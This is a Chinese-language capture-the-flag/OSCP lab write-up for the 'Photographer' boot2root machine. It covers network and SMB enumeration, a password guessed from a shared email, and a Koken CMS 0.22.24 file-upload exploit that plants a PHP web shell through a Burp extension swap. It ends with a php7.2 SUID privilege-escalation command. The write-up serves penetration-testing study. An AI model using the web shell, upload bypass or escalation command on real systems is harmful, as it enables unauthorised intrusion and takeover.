提示:This machine was developed to prepare for OSCP. It is boot2root, tested on VirtualBox (but works on VMWare) and has two flags: user.txt and proof.txt.

测试环境

靶机
IP:未知
MAC:00:0C:29:A4:BA:BA
kali
IP:192.168.1.131
MAC:00:0C:29:E2:0D:83

信息收集

VMware打开时仅主机模式,把kali设置成仅主机后重新请求DHCP(命令:dhclient)。获取到IP后使用nmap扫描当前网段,根据MAC获取靶机IP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~/桌面# nmap -sP 192.168.1.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-08 11:02 CST
Nmap scan report for 192.168.1.1
Host is up (0.00092s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.1.133
Host is up (0.00021s latency).
MAC Address: 00:0C:29:A4:BA:BA (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00013s latency).
MAC Address: 00:50:56:E9:4B:54 (VMware)
Nmap scan report for 192.168.1.131
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.07 seconds

根据nmap返回信息确定靶机IP为192.168.1.133,对靶机进行进一步扫描,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/桌面# nmap -T 4 -sV -p- 192.168.1.133
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-08 11:07 CST
Nmap scan report for 192.168.1.133
Host is up (0.00099s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8000/tcp open ssl/http-alt?
MAC Address: 00:0C:29:A4:BA:BA (VMware)
Service Info: Host: PHOTOGRAPHER

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.52 seconds

靶机开放了80,139,445,8000端口。先从80下手吧,浏览器打开看看是什么。

看了一圈加上目录扫描也没什么东西,暂时放弃,看看8000端口。也是一个网页,是什么暂时不知道,dirseach扫描试试python3 dirsearch.py -u http://192.168.1.133:8000/ -e php -t 20 -x 302,404,301,403,200响应代码如下:

1
2
3
4
5
6
7
8
[15:45:28] Starting: 
[15:45:34] 200 - 1020B - /admin/
[15:45:34] 200 - 1020B - /admin/?/login
[15:45:34] 200 - 1020B - /admin/index.html
[15:45:36] 200 - 114B - /app/logs/
[15:45:40] 200 - 3KB - /error/
[15:45:42] 200 - 5KB - /index.php
[15:45:45] 200 - 3KB - /pages/admin/

访问admin看到网站后台,随便输入看到是提交到api.php去,但是响应代码是404,试试其他的吧。

使用enum4linux扫描445端口收集信息,发现了//172.19.4.11/sambashare共享目录。
(enum4linux软件kali不自带,如果没有请使用apt安装,ip是因为我修改了网卡变得)

使用smbclient客户端软件连接到smb共享目录,登录后发现两个文件,使用get下载到本地查看,其中一个目录文件如下:

是一封邮件,通过收件人确定后台用户邮箱,注意最后一句,Don’t forget your secret, my babygirl ;),猜测密码是babygirl。使用邮箱账号和我的秘密尝试登陆8000端口网站后台,成功了!
找了半天没找到关于之类的说明,然后瞎点了一下头像弹出,点击版本号进入打开了 Koken的官网,目测应该是博客框架,版本是2013年的老版本,0.22.24。

漏洞利用

google搜索koken 0.22.24 https://www.exploit-db.com
发现任意文件上传漏洞,首先得学会如何看exploit-db的漏洞利用说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Steps to exploit:

1. Create a malicious PHP file with this content:
1.创建一个包含以下内容的恶意PHP文件:

<?php system($_GET['cmd']);?>

2. Save as "image.php.jpg"
2.另存为“ image.php.jpg”

3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.
3. 通过身份验证后,转到Koken CMS仪表板,在“导入内容”按钮(“库”面板)上上传文件,然后将HTTP请求发送到Burp。

4. On Burp, rename your file to "image.php"
4.在Burp上,将文件重命名为“ image.php”

5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server.
5.在Koken CMS库上,选择您的文件,然后将鼠标放在“下载文件”上,以查看文件在服务器上的托管位置。

说白了就是告诉你漏洞在哪里,怎么利用,找到上传点和绕过方式上传shell脚本就好了。
找了半天也没找到“Import Content”按钮,后来通过Ctrl+f5找到了该按钮(我以为在菜单栏呢)。

写一个一句话保存成123.jpg(随意),打开burp设置代理后到页面上传,拦截后把jpg后缀改成php

上传完shell打开网站巨慢,不知道为什么。

上传了很多遍后缀都是jpg,后来是我改错位置了(基础不牢),仔细看了exploit-db的利用说明发现自己的问题。

上传完右边有个连接,复制打开

点击“Download File”提取直链,添加到蚂🗡中,右键虚拟终端

使用finde搜索:find / -name user.txt 2>/dev/null

发现在/home/daisa/user.txt下,使用cat成功获得第一个flag:d41d8cd98f00b204e9800998ecf8427e

继续使用相同的方法搜索proof.txt,结果返回为空。先吃饭继续提权

权限提升

使用find / -perm -u=s -type f 2>/dev/null命令查找www用户有sudo权限的命令用于提权,最终先择php7.2命令

在终端中输入/usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"进行权限提升,通过whoami发现没有提权成功。

使用msfvenom生成反弹shell,上传到服务器成功反弹shell,使用php7.2提权成功。获得proof.txt。

实验总计

这是我第一次尝试综合靶机,但是难度不算大,我预期的结果是获得完美的root权限的,但是终究力不从心。
还得学习!!!